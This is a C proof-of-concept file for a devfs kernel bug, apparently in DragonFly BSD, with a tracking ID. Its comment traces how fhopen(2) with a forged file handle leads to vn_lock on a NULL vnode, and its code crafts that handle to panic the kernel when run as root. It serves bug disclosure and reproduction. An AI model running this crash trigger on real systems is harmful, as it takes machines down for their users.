DF-3236 / fhdevfs.c
/* * DF-3236 PoC: devfs_vfs_fhtovp -> devfs_inode_to_vnode() vn_lock(NULL) * * A root user calls fhopen(2) with a file handle whose fsid matches the * devfs mount on /dev and whose fid_gen matches boottime.tv_sec, but whose * fid_ino does not exist in the devfs topology. * * devfs_vfs_fhtovp (devfs_vfsops.c:202) passes the ino to * devfs_inode_to_vnode() (devfs_core.c:959). The devfs core worker finds * no node with that ino, so devfs_iterate_topology() returns NULL and the * core assigns msg->mdv_ino.vp = NULL (devfs_core.c:1374). * devfs_inode_to_vnode() then executes vn_lock(vp, ...) on the NULL * result BEFORE returning it (devfs_core.c:971-972) - the caller's * NULL check (devfs_vfsops.c:216) can never run. vn_lock(NULL) * dereferences NULL->v_ops: fatal trap 12, kernel panic. * * Build: cc -O -o fhdevfs fhdevfs.c * Run: ./fhdevfs (as root: expect panic; as user: EPERM) */ #include <sys/param.h> #include <sys/mount.h> #include <sys/stat.h> #include <sys/sysctl.h> #include <sys/fcntl.h> #include <sys/syscall.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> /* mirror of struct devfs_fid (sys/sys/devfs.h:84-89) */ struct devfs_fid_poc { uint16_t fid_len; uint16_t fid_pad; uint32_t fid_gen; uint32_t fid_ino; }; int main(void) { struct statfs sf; fhandle_t vfh; fhandle_t fh; struct devfs_fid_poc *df; int fd; if (statfs("/dev", &sf) != 0) { perror("statfs(/dev)"); exit(1); } /* * Take a real devfs file handle (root only) so the fsid and the * fid_gen (== boottime.tv_sec) are byte-exact, then swap the ino. */ if (syscall(SYS_getfh, "/dev/null", &vfh) != 0) { perror("getfh(/dev/null)"); exit(1); } memcpy(&fh, &vfh, sizeof(fh)); fh.fh_fsid = sf.f_fsid; df = (struct devfs_fid_poc *)&fh.fh_fid.fid_data[0]; printf("[*] real fid: len=%u gen=%u ino=%u\n", df->fid_len, df->fid_gen, df->fid_ino); df->fid_ino = 0x41414141u; /* no such devfs inode */ printf("[*] fhopen(fid_ino=0x41414141, O_RDONLY): " "expect vn_lock(NULL) panic under root\n"); fflush(stdout); errno = 0; fd = syscall(SYS_fhopen, &fh, O_RDONLY); printf("[*] survived: fd=%d errno=%d (%s)\n", fd, errno, strerror(errno)); return (fd >= 0) ? 0 : 1; } |